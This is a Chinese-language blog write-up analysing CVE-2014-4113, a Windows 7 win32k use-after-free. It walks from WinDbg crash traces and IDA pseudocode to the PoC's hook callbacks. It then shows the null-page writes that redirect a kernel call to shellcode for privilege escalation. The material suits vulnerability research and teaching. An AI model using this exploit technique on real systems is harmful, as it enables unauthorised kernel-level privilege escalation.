CVE-2014-4113 Windows内核经典Use Afer Free漏洞分析

0x00:前言

CVE-2014-4113是一个非常经典的内核漏洞,本片文章从Poc触发,分析如何构造Exploit,Poc的下载在文末的链接之中,实验平台是Windows 7 x86 sp1本次漏洞是一个释放后重用的漏洞,深入了解这个漏洞对内核的一些利用方法会有不一样的收获

0x01:Poc分析

栈回溯

我们假装不知道Poc源码,运行Poc进行栈回溯观察

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0: kd> g
Access violation - code c0000005 (!!! second chance !!!)
win32k!xxxSendMessageTimeout+0xb3:
95db93fa 3b7e08 cmp edi,dword ptr [esi+8]
2: kd> kb
# ChildEBP RetAddr Args to Child
00 92efba64 95db95c5 fffffffb 000001ed 0014fde4 win32k!xxxSendMessageTimeout+0xb3
01 92efba8c 95e392fb fffffffb 000001ed 0014fde4 win32k!xxxSendMessage+0x28
02 92efbaec 95e38c1f 92efbb0c 00000000 0014fde4 win32k!xxxHandleMenuMessages+0x582
03 92efbb38 95e3f8f1 fe9f30c8 95f1f580 00000000 win32k!xxxMNLoop+0x2c6
04 92efbba0 95e3f9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 92efbc14 83e3f1ea 00020117 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
06 92efbc14 77c170b4 00020117 00000000 00000000 nt!KiFastCallEntry+0x12a
07 0014fdf8 7619483e 76182243 00020117 00000000 ntdll!KiFastSystemCallRet
08 0014fdfc 76182243 00020117 00000000 00000000 USER32!NtUserTrackPopupMenuEx+0xc
09 0014fe1c 0127139f 00020117 00000000 00000000 USER32!TrackPopupMenu+0x1b
0a 0014fedc 012715d4 00000001 002e7e38 002e7e98 Trigger!wmain+0x2af [D:\Trigger.cpp @ 224]
0b (Inline) -------- -------- -------- -------- Trigger!invoke_main+0x1c [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 90]
0c 0014ff24 76073c45 7ffdc000 0014ff70 77c337f5 Trigger!__scrt_common_main_seh+0xfa [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
0d 0014ff30 77c337f5 7ffdc000 77dd8776 00000000 kernel32!BaseThreadInitThunk+0xe
0e 0014ff70 77c337c8 0127165c 7ffdc000 00000000 ntdll!__RtlUserThreadStart+0x70
0f 0014ff88 00000000 0127165c 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x1b

查看此时的 esi 情况,发现 esi 此时为 fffffffb,esi+8 处并没有映射内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2: kd> r
eax=fffffe0d ebx=000001ed ecx=95f120e4 edx=92efbb78 esi=fffffffb edi=fe509b50
eip=95db93fa esp=92efba3c ebp=92efba64 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
win32k!xxxSendMessageTimeout+0xb3:
95db93fa 3b7e08 cmp edi,dword ptr [esi+8] ds:0023:00000003=????????
2: kd> dd esi+8
00000003 ???????? ???????? ???????? ????????
00000013 ???????? ???????? ???????? ????????
00000023 ???????? ???????? ???????? ????????
00000033 ???????? ???????? ???????? ????????
00000043 ???????? ???????? ???????? ????????
00000053 ???????? ???????? ???????? ????????
00000063 ???????? ???????? ???????? ????????
00000073 ???????? ???????? ???????? ????????

我们在IDA里查看函数信息寻找一下这个 fffffffb 是如何产生的,首先找到崩溃点的位置从内向外开始分析,这里可以发现 esi 也就是我们的第一个参数 P

1
2
3
4
5
6
7
8
int __stdcall xxxSendMessageTimeout(PVOID P, CHAR MbString, WCHAR UnicodeString, void *Src, unsigned int HighLimit, unsigned int LowLimit, int a7, PVOID Entry)
{
...
if ( gptiCurrent == *((PVOID *)P + 2) ) // cmp edi, [esi+8] => 蓝屏点
{
...
}
}

我们继续追溯到 xxxSendMessage函数

1
2
3
4
5
unsigned int __stdcall xxxSendMessage(PVOID P, CHAR MbString, WCHAR UnicodeString, void *Src)
{
InterlockedIncrement(&glSendMessage);
return xxxSendMessageTimeout(P, MbString, UnicodeString, Src, 0, 0, 0, (PVOID)1);
}

继续往回追溯,我们只关注关键的代码,发现我们的第一个参数来自于xxxMNFindWindowFromPoint

1
2
3
4
5
6
7
8
int __stdcall xxxHandleMenuMessages(int a1, int a2, WCHAR UnicodeString)
{
...
v13 = (_DWORD *)xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);
...
xxxSendMessage(v13, 0xED, UnicodeString, 0);
...
}

我们来观察一下这个函数的返回值,我们的 esi 最后出问题的值就是 fffffffb(-5) 也就是说这个函数返回的是 fffffffb,我们在v5判断的下一句下断点我们可以得到这里的返回值来自xxxSendMessage函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __stdcall xxxMNFindWindowFromPoint(WCHAR UnicodeString, int a2, int a3)
{
...
v5 = *(_DWORD *)(UnicodeString + 0xC);
if ( v5 ) // 下一句下断点
{
...
v6 = xxxSendMessage(
*(PVOID *)(v4 + 0xC),
0xEB,
(unsigned int)&UnicodeString,
(void *)((unsigned __int16)a3 | ((unsigned int)a3 >> 0x10 << 0x10)));
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) )
{
LOBYTE(v7) = 1;
v6 = HMValidateHandleNoSecure(v6, v7);
}
if ( v6 )
{
*v3 = UnicodeString;
return v6;
}
}
...
}

1566460832480

我们在windbg中下断重新运行Poc之后到达了这里,我们单步查看xxxSendMessage函数的返回值发现是 fffffffb,通过观察我们发现这里传了一个1EBh的消息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
3: kd> r
eax=fea2bbd0 ebx=8e9dcafc ecx=00000202 edx=00000000 esi=95f1f580 edi=fe9f30c8
eip=95e395b9 esp=8e9dca5c ebp=8e9dca90 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282
win32k!xxxMNFindWindowFromPoint+0x1b:
95e395b9 8b0d58ebf195 mov ecx,dword ptr [win32k!gptiCurrent (95f1eb58)] ds:0023:95f1eb58=fdbd7580
3: kd> p
win32k!xxxMNFindWindowFromPoint+0x21:
95e395bf 81c1b4000000 add ecx,0B4h
(若干次单步)
3: kd>
win32k!xxxMNFindWindowFromPoint+0x4b:
95e395e9 68eb010000 push 1EBh // 这里传入了一个 1EBh 的消息
3: kd>
win32k!xxxMNFindWindowFromPoint+0x50:
95e395ee ff770c push dword ptr [edi+0Ch]
3: kd>
win32k!xxxMNFindWindowFromPoint+0x53:
95e395f1 e8a7fff7ff call win32k!xxxSendMessage (95db959d)
3: kd>
win32k!xxxMNFindWindowFromPoint+0x58:
95e395f6 8bf0 mov esi,eax
2: kd> r
eax=fffffffb ebx=8e9dcafc ecx=8e9dca34 edx=0013fd48 esi=95f1f580 edi=fe9f30c8
eip=95e395f6 esp=8e9dca5c ebp=8e9dca90 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
win32k!xxxMNFindWindowFromPoint+0x58:
95e395f6 8bf0 mov esi,eax

我们查询消息 1EBh 其原型是MN_FINDWINDOWFROMPOINT,我们现在知道了这个 fffffffb 产生的原因,就是xxxSendMessage函数处理1EBh 消息的返回值,因为返回的是 fffffffb ,后面cmp edi, [esi+8]语句又对 0x3 地址进行了访问就造成了蓝屏,这就是漏洞产生的原因

源码分析

我们查看一下 Poc 源码中是如何构造的,先从简单的分析,在main函数中我们可以大致得到如下代码片段,我们首先创建了一个主窗口,又新建了两个菜单并插入了新菜单项,然后我们调用了SetWindowsHookExA来拦截 1EBh 的消息,具体内容后面分析,最后我们调用了TrackPopupMenu函数触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
main()
{
main_wnd = CreateWindowA(...);
MenuOne = CreatePopupMenu();
insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
MenuTwo = CreatePopupMenu();
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
setWindowsHook = SetWindowsHookExA(
WH_CALLWNDPROC,
HookCallback,
NULL,
GetCurrentThreadId()
);
TrackPopupMenu(
MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
0, //Horizontal position - left hand side
0, //Vertical position - Top edge
0, //Reserved field, has to be 0
main_wnd, //Handle to the Window which owns the menu
NULL //This value is always ignored...
);
}

我们来看一些有趣的细节,第一个点就是 main_wnd 中的消息处理函数,注释里面写的很清楚,这里首先判断消息是否进入了空闲状态,如果是则通过PostMessageA函数发送了三次异步消息,模拟了键盘和鼠标的操作从而达到漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
/*
Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
*/
printf("WindProc called with message=%d\n", msg);
if (msg == WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
}
//Just pass any other messages to the default window procedure
return DefWindowProc(hwnd, msg, wParam, lParam);
}

第二个点就是我们SetWindowsHookExA拦截 0x1EB 消息,这里SetWindowLongA设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义,我们调用EndMenu函数销毁了这个菜单,此时的win32k!xxxSendMessage函数进行调用就会失败,上层函数 win32k!xxxMNFindWindowFromPoint就会返回 fffffffb ,最后到达win32k!xxxHandleMenuMessages函数的时候再次调用win32k!xxxSendMessage时就出现了问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
printf("Callback two called.\n");
EndMenu();
return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("Callback one called.\n");
/* lParam is a pointer to a CWPSTRUCT which is defined as:
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
*/
//lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
if (*(DWORD *)(lParam + 8) == 0x1EB) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}

0x02:漏洞利用

接下来就是我们最喜欢的漏洞利用环节了,让我们首先看一个令人兴奋的片段

1
2
3
4
5
6
7
8
9
loc_95DB94E8:
push [ebp+Src]
push dword ptr [ebp+UnicodeString]
push ebx
push esi
call dword ptr [esi+60h] // call 0x5b
mov ecx, [ebp+arg_18]
test ecx, ecx
jz loc_95DB9591

这个位置是哪里呢?让我用图片给你说明,因为零页可控,所以我们只需要考虑从漏洞点走到利用点,然后在 0x5c 处放置我们的shellcode即可提权

1566471330121

期间我们有两处判断,第一处只需要赋值当前的Win32ThreadInfo结构即可,第二处判断赋值为4即可,最后放上我们的shellcode即可

1
2
3
4
5
6
7
8
9
10
11
DWORD __stdcall  ptiCurrent()
{
__asm {
mov eax, fs:18h //eax pointer to TEB
mov eax, [eax + 40h] //get pointer to Win32ThreadInfo
}
}

*(DWORD*)(0x3) = (DWORD)ptiCurrent();
*(DWORD*)(0x11) = (DWORD)4;
*(DWORD*)(0x5b) = (DWORD)&ShellCode;

最终的利用代码在 => GitHub

0x03:后记

其实这个漏洞我很早之前就分析过,但是都是分析的成品Exploit,当时不是很了解内核,分析起来非常吃力,现在重新回来分析一次又有不一样的收获,就像我现在分析CVE-2015-0057一样,毫无思绪,分析完这篇之后我会考虑分析CVE-2015-2546,最后再到CVE-2015-0057